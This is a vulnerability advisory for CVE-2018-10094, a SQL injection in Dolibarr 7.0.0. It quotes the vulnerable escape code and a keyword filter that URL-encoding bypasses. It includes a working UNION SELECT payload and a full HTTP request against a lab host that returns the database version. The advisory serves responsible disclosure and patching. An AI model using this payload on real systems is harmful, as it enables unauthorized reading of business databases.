# [CVE-2018-10094] Dolibarr SQL Injection vulnerability ## Description Dolibarr is an "Open Source ERP & CRM for Business" used by many companies worldwide. It is available through [GitHub](https://github.com/Dolibarr/dolibarr) or as distribution packages (e.g .deb package). **Threat** The application does not handle user input properly and allows execution of arbitrary SQL commands on the database. **Expectation** Prepared queries should be used in order to avoid SQL injection in user input. ## Vulnerability type **CVE ID**: CVE-2018-10094 **Access Vector**: remote **Security Risk**: high **Vulnerability**: CWE-89 **CVSS Base Score**: 7.5 **CVSS Vector String**: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N ## Details The database connector escapes quotes with the `real_escape_string()` wrapper. However it is still possible to perform injection on integer parameters without quotes. ```php mysqli.class.php /** * Escape a string to insert data * * @param string $stringtoencode String to escape * @return string String escaped */ function escape($stringtoencode) { return $this->db->real_escape_string($stringtoencode); } ``` Additional checks are defined later, which forbit some SQL keywords (e.g `union`, `create`, `insert`). However, by url encoding the payload, these checks are bypassed. ```php main.inc.php /** * Security: SQL Injection and XSS Injection (scripts) protection (Filters on GET, POST, PHP_SELF). * * @param string $val Value * @param string $type 1=GET, 0=POST, 2=PHP_SELF * @return int >0 if there is an injection */ function test_sql_and_script_inject($val, $type) { $inj = 0; // For SQL Injection (only GET are used to be included into bad escaped SQL requests) if ($type == 1) { $inj += preg_match('/updatexml\(/i', $val); $inj += preg_match('/delete\s+from/i', $val); $inj += preg_match('/create\s+table/i', $val); $inj += preg_match('/insert\s+into/i', $val); $inj += preg_match('/select\s+from/i', $val); $inj += preg_match('/into\s+(outfile|dumpfile)/i', $val); } if ($type != 2) // Not common, we can check on POST { $inj += preg_match('/update.+set.+=/i', $val); $inj += preg_match('/union.+select/i', $val); $inj += preg_match('/(\.\.%2f)+/i', $val); } // For XSS Injection done by adding javascript with script // This is all cases a browser consider text is javascript: // When it found ' $inj += preg_match('/onerror\s*=/i', $val); // onerror can be set on img or any html tag like $inj += preg_match('/onfocus\s*=/i', $val); // onfocus can be set on input text html tag like $inj += preg_match('/onload\s*=/i', $val); // onload can be set on svg tag or other tag like body $inj += preg_match('/onclick\s*=/i', $val); // onclick can be set on img text html tag like $inj += preg_match('/onscroll\s*=/i', $val); // onscroll can be on textarea //$inj += preg_match('/on[A-Z][a-z]+\*=/', $val); // To lock event handlers onAbort(), ... $inj += preg_match('/:|:|:/i', $val); // refused string ':' encoded (no reason to have it encoded) to lock 'javascript:...' //if ($type == 1) //{ $inj += preg_match('/javascript:/i', $val); $inj += preg_match('/vbscript:/i', $val); //} // For XSS Injection done by adding javascript closing html tags like with onmousemove, etc... (closing a src or href tag with not cleaned param) if ($type == 1) $inj += preg_match('/"/i', $val); // We refused " in GET parameters value if ($type == 2) $inj += preg_match('/[;"]/', $val); // PHP_SELF is a file system path. It can contains spaces. return $inj; } ``` ## Proof of Concept : retrieving the database name. Payload: ``` 1) union select 0,1,2,version(),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28# Url-encoded payload: %31%29%20%75%6e%69%6f%6e%20%73%65%6c%65%63%74%20%30%2c%31%2c%32%2c%76%65%72%73%69%6f%6e%28%29%2c%34%2c%35%2c%36%2c%37%2c%38%2c%39%2c%31%30%2c%31%31%2c%31%32%2c%31%33%2c%31%34%2c%31%35%2c%31%36%2c%31%37%2c%31%38%2c%31%39%2c%32%30%2c%32%31%2c%32%32%2c%32%33%2c%32%34%2c%32%35%2c%32%36%2c%32%37%2c%32%38%23 ``` ```http GET /dolibarr/adherents/list.php?leftmenu=members&statut=%31%29%20%75%6e%69%6f%6e%20%73%65%6c%65%63%74%20%30%2c%31%2c%32%2c%76%65%72%73%69%6f%6e%28%29%2c%34%2c%35%2c%36%2c%37%2c%38%2c%39%2c%31%30%2c%31%31%2c%31%32%2c%31%33%2c%31%34%2c%31%35%2c%31%36%2c%31%37%2c%31%38%2c%31%39%2c%32%30%2c%32%31%2c%32%32%2c%32%33%2c%32%34%2c%32%35%2c%32%36%2c%32%37%2c%32%38%23 HTTP/1.1 Host: dolibarr.lab:2080 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cookie: DOLSESSID_cac4a1e49e4040e845340fe919bd202b=qh3ot46kvm95ph0ddd3ujd7je5 Connection: close Upgrade-Insecure-Requests: 1 ... 10.1.26-MariaDB-0+deb9u1 2 1 21 ``` ## Affected versions * Version 7.0.0 (last stable version as of March 2018) - previous versions are probably also vulnerable but not tested ## Solution Update to 7.0.2 ([changelog](https://raw.githubusercontent.com/Dolibarr/dolibarr/develop/ChangeLog)) ## Timeline (dd/mm/yyyy) * 18/03/2018 : Initial discovery * 17/04/2018 : Contact with the editor * 17/04/2018 : Editor acknowledges the vulnerability * 18/04/2018 : Editor announces fixes in version 7.0.2 * 21/05/2018 : Vulnerability disclosure ## Credits * Issam RABHI (i dot rabhi at sysdream dot com) * Kevin LOCATI (k dot locati at sysdream dot com) -- SYSDREAM Labs GPG : 47D1 E124 C43E F992 2A2E 1551 8EB4 8CD9 D5B2 59A1 * Website: https://sysdream.com/ * Twitter: @sysdream